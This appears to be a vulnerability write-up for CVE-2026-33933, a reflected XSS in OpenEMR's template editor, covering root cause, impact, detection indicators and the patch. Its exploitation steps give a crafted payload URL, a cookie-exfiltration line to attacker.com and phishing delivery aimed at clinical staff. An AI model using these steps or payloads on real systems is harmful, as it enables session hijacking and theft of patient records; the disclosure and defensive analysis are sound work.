CVE-2026-33933: 
OpenEMR vulnerability analysis and mitigation

CVE-2026-33933 is a reflected cross-site scripting (XSS) vulnerability in the custom template editor of OpenEMR, a widely used open-source electronic health records (EHR) and medical practice management application. The vulnerability affects OpenEMR versions 7.0.2.1 through 8.0.0.2 and was disclosed on March 25–26, 2026. An unauthenticated attacker can execute arbitrary JavaScript in an authenticated staff member's browser session by sending them a crafted URL — no OpenEMR account is required. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, OpenEMR Release).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in library/custom_template/custom_template.php. The contextName GET parameter is read from user input at line 51 without sanitization ($contextName = !empty($_GET['contextName']) ? $_GET['contextName'] : '';) and echoed directly into the HTML output without escaping at line 261. A developer intentionally skipped escaping at that output point so that an appended HTML hint would render, inadvertently leaving the user-controlled portion of $contextName unescaped. The attacker also controls the ccFlag parameter, which sets $isNN = 0 and directs execution into the vulnerable branch; because the attacker's contextName won't match any database row, the tainted variable is echoed raw. The fix (commit d5c8d49) separates the hint into a dedicated $contextHint variable, ensuring $contextName is never concatenated with unescaped HTML before output (GitHub Advisory, Patch Commit).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript within the authenticated session of a targeted OpenEMR staff member, including clinical and healthcare personnel. This can result in session hijacking, credential theft, unauthorized actions performed as the victim (such as accessing or modifying patient records), and DOM manipulation — all within the context of a sensitive healthcare application handling protected health information (PHI). While availability is not directly impacted, the confidentiality and integrity risks are significant given the sensitive nature of EHR data (GitHub Advisory).

1. Reconnaissance: Identify internet-facing OpenEMR instances running versions 7.0.2.1 through 8.0.0.2 using search engines (e.g., Shodan, Censys) or by checking the OpenEMR version disclosure on the login page.
2. Identify target staff member: Obtain or guess the email/username of an authenticated OpenEMR staff member (e.g., a clinician or administrator) who is likely to be logged in.
3. Craft malicious URL: Construct a URL targeting the vulnerable endpoint with a reflected XSS payload in the contextName parameter and ccFlag set to force the vulnerable code branch:

   /library/custom_template/custom_template.php?ccFlag=id&type=description&contextName=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E

   Replace the alert(document.domain) payload with a more malicious script (e.g., cookie exfiltration: fetch('https://attacker.com/?c='+document.cookie)).
4. Deliver the URL: Send the crafted URL to the target staff member via phishing email, chat message, or other social engineering vector.
5. Achieve JavaScript execution: When the authenticated staff member clicks the link, the injected JavaScript executes in their browser session, allowing the attacker to steal session cookies, perform actions as the victim, or exfiltrate sensitive patient data (GitHub Advisory).

• Network: Outbound HTTP requests from the OpenEMR server or staff browsers to unexpected external domains shortly after accessing the custom template editor endpoint; unusual GET requests to /library/custom_template/custom_template.php with URL-encoded HTML tags (e.g., %3Cimg, %3Cscript, onerror, onload) in the contextName parameter.
• Logs: Web server access logs showing requests to /library/custom_template/custom_template.php with ccFlag=id and suspicious contextName values containing HTML entities or JavaScript event handlers; repeated access to this endpoint from external or unexpected IP addresses.
• Browser/Session: Unexpected session activity or actions performed under a staff member's account that the user did not initiate, potentially indicating session hijacking following XSS exploitation.

The primary remediation is to upgrade OpenEMR to version 8.0.0.3 or later, which patches this vulnerability by separating the user-controlled $contextName from the HTML hint concatenation, preventing unescaped output (OpenEMR Release, Patch Commit). As interim mitigations, administrators should deploy Web Application Firewall (WAF) rules to detect and block XSS payloads in URL parameters, and enforce Content Security Policy (CSP) headers to restrict JavaScript execution in the browser. Access to the custom template editor endpoint (/library/custom_template/custom_template.php) should be restricted to trusted internal networks where possible.

The vulnerability was reported by researchers pavelkohout396 and simecek, with remediation developed by kojiromike, as credited in the GitHub security advisory. The issue was part of a broader set of 18+ security fixes released in OpenEMR 8.0.0.3, including several high-severity SQL injection and authorization bypass vulnerabilities, suggesting a coordinated security audit of the platform. A blog post from Aisle noted the discovery of 38 critical security vulnerabilities in healthcare software used by 100,000 providers, which may include this and related findings (GitHub Advisory, OpenEMR Release).